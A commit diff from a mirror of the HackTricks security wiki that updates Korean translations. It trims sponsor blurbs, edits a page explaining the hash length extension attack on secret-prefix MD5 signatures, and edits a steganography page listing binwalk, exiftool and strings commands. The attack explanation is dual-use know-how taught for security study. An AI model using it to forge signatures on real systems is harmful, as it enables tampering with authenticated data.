mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 04:33:28 +00:00
Translated ['README.md', 'crypto-and-stego/hash-length-extension-attack.
This commit is contained in:
parent
2a6ccbfac0
commit
1dc9ff18a5
86 changed files with 1616 additions and 3155 deletions
64
README.md
64
README.md
|
@ -32,7 +32,7 @@ _Hacktricks 로고 및 모션 디자인은_ [_@ppiernacho_](https://www.instagra
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**RootedCON**](https://www.rootedcon.com)는 **스페인**에서 가장 중요한 사이버 보안 이벤트이며 **유럽**에서 가장 중요한 이벤트 중 하나입니다. **기술 지식을 촉진하는 사명**을 가지고 있는 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들이 모이는 뜨거운 만남의 장소입니다.
|
[**RootedCON**](https://www.rootedcon.com)는 **스페인**에서 가장 중요한 사이버 보안 이벤트이며 **유럽**에서 가장 중요한 이벤트 중 하나입니다. **기술 지식을 촉진하는 임무**를 가지고 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들이 모이는 뜨거운 만남의 장소입니다.
|
||||||
|
|
||||||
{% embed url="https://www.rootedcon.com/" %}
|
{% embed url="https://www.rootedcon.com/" %}
|
||||||
|
|
||||||
|
@ -44,7 +44,7 @@ _Hacktricks 로고 및 모션 디자인은_ [_@ppiernacho_](https://www.instagra
|
||||||
|
|
||||||
**Intigriti**는 **유럽의 #1** 윤리적 해킹 및 **버그 바운티 플랫폼**입니다.
|
**Intigriti**는 **유럽의 #1** 윤리적 해킹 및 **버그 바운티 플랫폼**입니다.
|
||||||
|
|
||||||
**버그 바운티 팁**: **해커들이 만든 해커를 위한 프리미엄 버그 바운티 플랫폼인 Intigriti에 가입하세요**! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 저희와 함께하고 최대 **$100,000**의 보상을 받기 시작하세요!
|
**버그 바운티 팁**: **해커를 위해 해커가 만든 프리미엄** **버그 바운티 플랫폼인 Intigriti에 가입하세요**! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 저희와 함께하고 최대 **$100,000**의 보상을 받기 시작하세요!
|
||||||
|
|
||||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||||
|
|
||||||
|
@ -55,7 +55,7 @@ _Hacktricks 로고 및 모션 디자인은_ [_@ppiernacho_](https://www.instagra
|
||||||
<figure><img src=".gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 **워크플로우를 쉽게 구축하고 자동화**하세요.
|
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축하고 자동화**하세요.
|
||||||
|
|
||||||
지금 액세스하세요:
|
지금 액세스하세요:
|
||||||
|
|
||||||
|
@ -69,9 +69,9 @@ _Hacktricks 로고 및 모션 디자인은_ [_@ppiernacho_](https://www.instagra
|
||||||
|
|
||||||
경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 가입하세요!
|
경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 가입하세요!
|
||||||
|
|
||||||
* **해킹 통찰력:** 해킹의 스릴과 도전에 대한 콘텐츠에 참여하세요.
|
* **해킹 통찰력:** 해킹의 스릴과 도전에 대한 내용을 다루는 콘텐츠에 참여하세요.
|
||||||
* **실시간 해킹 뉴스:** 실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계를 따라가세요.
|
* **실시간 해킹 뉴스:** 실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계를 최신 상태로 유지하세요.
|
||||||
* **최신 공지사항:** 새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.
|
* **최신 발표:** 새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.
|
||||||
|
|
||||||
**오늘 저희와 함께** [**Discord**](https://discord.com/invite/N3FrSbmwdy)에서 최고의 해커들과 협력하세요!
|
**오늘 저희와 함께** [**Discord**](https://discord.com/invite/N3FrSbmwdy)에서 최고의 해커들과 협력하세요!
|
||||||
|
|
||||||
|
@ -81,64 +81,30 @@ _Hacktricks 로고 및 모션 디자인은_ [_@ppiernacho_](https://www.instagra
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**취약성 평가 및 침투 테스트를 위한 즉시 사용 가능한 설정**. 20개 이상의 도구 및 기능을 사용하여 어디서나 전체 펜테스트를 실행하세요. 우리는 펜테스터를 대체하지 않으며, 그들이 더 깊이 파고들고, 쉘을 팝하고, 재미를 느낄 수 있도록 맞춤형 도구, 탐지 및 악용 모듈을 개발합니다.
|
**취약성 평가 및 침투 테스트를 위한 즉시 사용 가능한 설정**. 20개 이상의 도구 및 기능을 사용하여 어디서나 전체 펜테스트를 실행하세요. 우리는 펜테스터를 대체하지 않습니다 - 우리는 그들에게 더 깊이 파고들고, 셸을 팝하고, 재미를 느낄 수 있는 시간을 되돌려주기 위해 맞춤형 도구, 탐지 및 악용 모듈을 개발합니다.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
***
|
***
|
||||||
|
|
||||||
### [SerpApi](https://serpapi.com/)
|
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
SerpApi는 **검색 엔진 결과에 접근하기 위한 빠르고 쉬운 실시간 API**를 제공합니다. 그들은 검색 엔진을 스크랩하고, 프록시를 처리하며, 캡차를 해결하고, 모든 풍부한 구조화된 데이터를 파싱합니다.
|
|
||||||
|
|
||||||
SerpApi의 플랜 중 하나에 가입하면 Google, Bing, Baidu, Yahoo, Yandex 등 다양한 검색 엔진을 스크랩하기 위한 50개 이상의 API에 접근할 수 있습니다.\
|
|
||||||
다른 제공업체와 달리 **SerpApi는 유기적 결과만 스크랩하지 않습니다**. SerpApi의 응답은 항상 모든 광고, 인라인 이미지 및 비디오, 지식 그래프 및 검색 결과에 있는 기타 요소와 기능을 포함합니다.
|
|
||||||
|
|
||||||
현재 SerpApi 고객에는 **Apple, Shopify 및 GrubHub**가 포함됩니다.\
|
|
||||||
자세한 정보는 그들의 [**블로그**](https://serpapi.com/blog/)를 확인하거나 [**플레이그라운드**](https://serpapi.com/playground)에서 예제를 시도해 보세요.\
|
|
||||||
여기에서 **무료 계정**을 [**생성할 수 있습니다**](https://serpapi.com/users/sign\_up)**.**
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
### [Try Hard Security Group](https://discord.gg/tryhardsecurity)
|
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
### [WebSec](https://websec.nl/)
|
### [WebSec](https://websec.nl/)
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**WebSec**](https://websec.nl)는 **암스테르담**에 본사를 둔 전문 사이버 보안 회사로, **전 세계의** 기업을 최신 사이버 보안 위협으로부터 **보호**하는 데 도움을 주며 **공격 보안 서비스**를 **현대적인** 접근 방식으로 제공합니다.
|
[**WebSec**](https://websec.nl)는 **암스테르담**에 본사를 둔 전문 사이버 보안 회사로, **전 세계의** 기업들이 최신 사이버 보안 위협으로부터 **보호**받을 수 있도록 **공격 보안 서비스**를 현대적인 접근 방식으로 제공합니다.
|
||||||
|
|
||||||
WebSec는 **올인원 보안 회사**로, 펜테스팅, **보안** 감사, 인식 교육, 피싱 캠페인, 코드 검토, 악용 개발, 보안 전문가 아웃소싱 등 모든 것을 수행합니다.
|
WebSec는 **올인원 보안 회사**로, 펜테스팅, **보안** 감사, 인식 교육, 피싱 캠페인, 코드 리뷰, 악용 개발, 보안 전문가 아웃소싱 등 모든 것을 수행합니다.
|
||||||
|
|
||||||
WebSec의 또 다른 멋진 점은 업계 평균과 달리 WebSec가 **자신의 기술에 매우 자신감이 있다는 것입니다**. 그들은 **최고 품질의 결과를 보장합니다**. 그들의 웹사이트에는 "**우리가 해킹할 수 없다면, 당신은 지불하지 않습니다!**"라고 명시되어 있습니다. 더 많은 정보는 그들의 [**웹사이트**](https://websec.nl/en/)와 [**블로그**](https://websec.nl/blog/)를 확인하세요!
|
WebSec의 또 다른 멋진 점은 업계 평균과 달리 WebSec가 **자신의 기술에 매우 자신감이 있다는 것입니다.** 그들은 **최고 품질의 결과를 보장합니다.** 그들의 웹사이트에는 "**우리가 해킹할 수 없다면, 당신은 지불하지 않습니다!**"라고 명시되어 있습니다. 더 많은 정보는 그들의 [**웹사이트**](https://websec.nl/en/)와 [**블로그**](https://websec.nl/blog/)를 확인하세요!
|
||||||
|
|
||||||
위의 내용 외에도 WebSec는 **HackTricks의 헌신적인 후원자**이기도 합니다.
|
위의 내용 외에도 WebSec는 **HackTricks의 헌신적인 후원자**이기도 합니다.
|
||||||
|
|
||||||
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
|
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)는 **다크 웹** 기반의 검색 엔진으로, **무료** 기능을 제공하여 회사나 고객이 **스틸러 악성코드**에 의해 **침해되었는지** 확인할 수 있습니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 탈취 악성코드로 인한 계정 탈취 및 랜섬웨어 공격을 방지하는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 확인하고 **무료로** 엔진을 사용해 보세요:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
## License & Disclaimer
|
## License & Disclaimer
|
||||||
|
|
||||||
다음에서 확인하세요:
|
확인하세요:
|
||||||
|
|
||||||
{% content-ref url="welcome/hacktricks-values-and-faq.md" %}
|
{% content-ref url="welcome/hacktricks-values-and-faq.md" %}
|
||||||
[hacktricks-values-and-faq.md](welcome/hacktricks-values-and-faq.md)
|
[hacktricks-values-and-faq.md](welcome/hacktricks-values-and-faq.md)
|
||||||
|
@ -150,16 +116,16 @@ WhiteIntel의 주요 목표는 정보 탈취 악성코드로 인한 계정 탈
|
||||||
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 배우고 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
GCP 해킹 배우고 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>HackTricks 지원하기</summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나, **Twitter**에서 저희를 **팔로우**하세요 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **Twitter**에서 저희를 **팔로우**하세요** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **해킹 트릭을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하세요.**
|
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -10,35 +10,22 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
||||||
|
|
||||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
#### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)는 **다크 웹** 기반의 검색 엔진으로, 기업이나 고객이 **탈취 악성코드**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 탈취 악성코드로 인한 계정 탈취 및 랜섬웨어 공격에 맞서는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## 공격 요약
|
## 공격 요약
|
||||||
|
|
||||||
서버가 **데이터**에 **비밀**을 추가하여 **서명**하고 그 데이터를 해시한다고 상상해 보십시오. 다음을 알고 있다면:
|
서버가 **데이터**에 **비밀**을 **추가**하여 **서명**하고 그 데이터를 해시한다고 상상해 보세요. 다음을 알고 있다면:
|
||||||
|
|
||||||
* **비밀의 길이** (주어진 길이 범위에서 무차별 대입으로도 알 수 있음)
|
* **비밀의 길이** (주어진 길이 범위에서 무차별 대입으로도 알 수 있음)
|
||||||
* **명확한 텍스트 데이터**
|
* **명확한 텍스트 데이터**
|
||||||
* **알고리즘 (이 공격에 취약함)**
|
* **알고리즘 (이 공격에 취약함)**
|
||||||
* **패딩이 알려져 있음**
|
* **패딩이 알려져 있음**
|
||||||
* 일반적으로 기본값이 사용되므로 다른 3가지 요구 사항이 충족되면 이것도 해당됨
|
* 일반적으로 기본값이 사용되므로 다른 3가지 요구 사항이 충족되면 이것도 해당됨
|
||||||
* 패딩은 비밀 + 데이터의 길이에 따라 달라지므로 비밀의 길이가 필요함
|
* 패딩은 비밀+데이터의 길이에 따라 달라지므로 비밀의 길이가 필요함
|
||||||
|
|
||||||
그렇다면 **공격자**가 **데이터를 추가**하고 **이전 데이터 + 추가된 데이터**에 대한 유효한 **서명**을 **생성**하는 것이 가능합니다.
|
그렇다면 **공격자**가 **데이터를 추가**하고 **이전 데이터 + 추가된 데이터**에 대한 유효한 **서명**을 **생성**하는 것이 가능합니다.
|
||||||
|
|
||||||
|
@ -46,33 +33,23 @@ WhiteIntel의 주요 목표는 정보 탈취 악성코드로 인한 계정 탈
|
||||||
|
|
||||||
기본적으로 취약한 알고리즘은 먼저 **데이터 블록을 해시**한 다음, **이전에** 생성된 **해시**(상태)에서 **다음 데이터 블록을 추가**하고 **해시**합니다.
|
기본적으로 취약한 알고리즘은 먼저 **데이터 블록을 해시**한 다음, **이전에** 생성된 **해시**(상태)에서 **다음 데이터 블록을 추가**하고 **해시**합니다.
|
||||||
|
|
||||||
그런 다음 비밀이 "secret"이고 데이터가 "data"라고 가정해 보십시오. "secretdata"의 MD5는 6036708eba0d11f6ef52ad44e8b74d5b입니다.\
|
그런 다음 비밀이 "secret"이고 데이터가 "data"라고 가정해 보세요. "secretdata"의 MD5는 6036708eba0d11f6ef52ad44e8b74d5b입니다.\
|
||||||
공격자가 "append" 문자열을 추가하고 싶다면 다음과 같이 할 수 있습니다:
|
공격자가 "append" 문자열을 추가하고 싶다면 다음과 같이 할 수 있습니다:
|
||||||
|
|
||||||
* 64개의 "A"로 MD5 생성
|
* 64개의 "A"로 MD5 생성
|
||||||
* 이전에 초기화된 해시의 상태를 6036708eba0d11f6ef52ad44e8b74d5b로 변경
|
* 이전에 초기화된 해시의 상태를 6036708eba0d11f6ef52ad44e8b74d5b로 변경
|
||||||
* "append" 문자열 추가
|
* "append" 문자열 추가
|
||||||
* 해시를 완료하면 결과 해시는 "secret" + "data" + "padding" + "append"에 대한 **유효한 해시**가 됩니다.
|
* 해시를 완료하면 결과 해시는 **"secret" + "data" + "padding" + "append"**에 대한 유효한 해시가 됩니다.
|
||||||
|
|
||||||
### **도구**
|
### **도구**
|
||||||
|
|
||||||
{% embed url="https://github.com/iagox86/hash_extender" %}
|
{% embed url="https://github.com/iagox86/hash_extender" %}
|
||||||
|
|
||||||
### 참고자료
|
### 참고 문헌
|
||||||
|
|
||||||
이 공격에 대한 자세한 설명은 [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)에서 확인할 수 있습니다.
|
이 공격에 대한 좋은 설명은 [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)에서 찾을 수 있습니다.
|
||||||
|
|
||||||
#### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)는 **다크 웹** 기반의 검색 엔진으로, 기업이나 고객이 **탈취 악성코드**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 탈취 악성코드로 인한 계정 탈취 및 랜섬웨어 공격에 맞서는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
@ -84,7 +61,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
||||||
|
|
||||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,33 +1,25 @@
|
||||||
# 스테고 트릭
|
# Stego Tricks
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 배우고 실습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
GCP 해킹 배우고 실습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>HackTricks 지원하기</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 레포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## **파일에서 데이터 추출하기**
|
## **파일에서 데이터 추출하기**
|
||||||
|
|
||||||
### **Binwalk**
|
### **Binwalk**
|
||||||
|
|
||||||
임베디드 숨겨진 파일과 데이터를 찾기 위한 이진 파일 검색 도구입니다. `apt`를 통해 설치되며 소스는 [GitHub](https://github.com/ReFirmLabs/binwalk)에서 사용할 수 있습니다.
|
내장된 숨겨진 파일과 데이터를 찾기 위한 이진 파일 검색 도구입니다. `apt`를 통해 설치되며, 소스는 [GitHub](https://github.com/ReFirmLabs/binwalk)에서 확인할 수 있습니다.
|
||||||
```bash
|
```bash
|
||||||
binwalk file # Displays the embedded data
|
binwalk file # Displays the embedded data
|
||||||
binwalk -e file # Extracts the data
|
binwalk -e file # Extracts the data
|
||||||
|
@ -35,19 +27,19 @@ binwalk --dd ".*" file # Extracts all data
|
||||||
```
|
```
|
||||||
### **Foremost**
|
### **Foremost**
|
||||||
|
|
||||||
파일을 헤더와 푸터를 기반으로 복구하여 png 이미지에 유용합니다. [GitHub](https://github.com/korczis/foremost)에서 소스를 사용하여 `apt`를 통해 설치됩니다.
|
헤더와 푸터를 기반으로 파일을 복구하며, png 이미지에 유용합니다. [GitHub](https://github.com/korczis/foremost)에서 소스를 통해 `apt`로 설치할 수 있습니다.
|
||||||
```bash
|
```bash
|
||||||
foremost -i file # Extracts data
|
foremost -i file # Extracts data
|
||||||
```
|
```
|
||||||
### **Exiftool**
|
### **Exiftool**
|
||||||
|
|
||||||
파일 메타데이터를 볼 수 있도록 도와줍니다. [여기](https://www.sno.phy.queensu.ca/\~phil/exiftool/)에서 사용할 수 있습니다.
|
파일 메타데이터를 보기 위해 사용되며, [여기](https://www.sno.phy.queensu.ca/\~phil/exiftool/)에서 확인할 수 있습니다.
|
||||||
```bash
|
```bash
|
||||||
exiftool file # Shows the metadata
|
exiftool file # Shows the metadata
|
||||||
```
|
```
|
||||||
### **Exiv2**
|
### **Exiv2**
|
||||||
|
|
||||||
exiftool과 유사한 메타데이터 뷰어입니다. `apt`를 통해 설치할 수 있으며 [GitHub](https://github.com/Exiv2/exiv2)에서 소스를 찾을 수 있으며 [공식 웹사이트](http://www.exiv2.org/)가 있습니다.
|
메타데이터 보기용으로 exiftool과 유사합니다. `apt`를 통해 설치 가능하며, [GitHub](https://github.com/Exiv2/exiv2)에서 소스를 확인할 수 있고, [공식 웹사이트](http://www.exiv2.org/)가 있습니다.
|
||||||
```bash
|
```bash
|
||||||
exiv2 file # Shows the metadata
|
exiv2 file # Shows the metadata
|
||||||
```
|
```
|
||||||
|
@ -57,7 +49,7 @@ exiv2 file # Shows the metadata
|
||||||
|
|
||||||
### **문자열**
|
### **문자열**
|
||||||
|
|
||||||
다양한 인코딩 설정을 사용하여 파일에서 읽을 수 있는 문자열을 추출하여 출력을 필터링합니다.
|
출력을 필터링하기 위해 다양한 인코딩 설정을 사용하여 파일에서 읽을 수 있는 문자열을 추출합니다.
|
||||||
```bash
|
```bash
|
||||||
strings -n 6 file # Extracts strings with a minimum length of 6
|
strings -n 6 file # Extracts strings with a minimum length of 6
|
||||||
strings -n 6 file | head -n 20 # First 20 strings
|
strings -n 6 file | head -n 20 # First 20 strings
|
||||||
|
@ -69,84 +61,84 @@ strings -e b -n 6 file # 16bit strings (big-endian)
|
||||||
strings -e L -n 6 file # 32bit strings (little-endian)
|
strings -e L -n 6 file # 32bit strings (little-endian)
|
||||||
strings -e B -n 6 file # 32bit strings (big-endian)
|
strings -e B -n 6 file # 32bit strings (big-endian)
|
||||||
```
|
```
|
||||||
### **비교 (cmp)**
|
### **Comparison (cmp)**
|
||||||
|
|
||||||
온라인에서 찾은 원본 버전과 수정된 파일을 비교하는 데 유용합니다.
|
온라인에서 찾은 원본 버전과 수정된 파일을 비교하는 데 유용합니다.
|
||||||
```bash
|
```bash
|
||||||
cmp original.jpg stego.jpg -b -l
|
cmp original.jpg stego.jpg -b -l
|
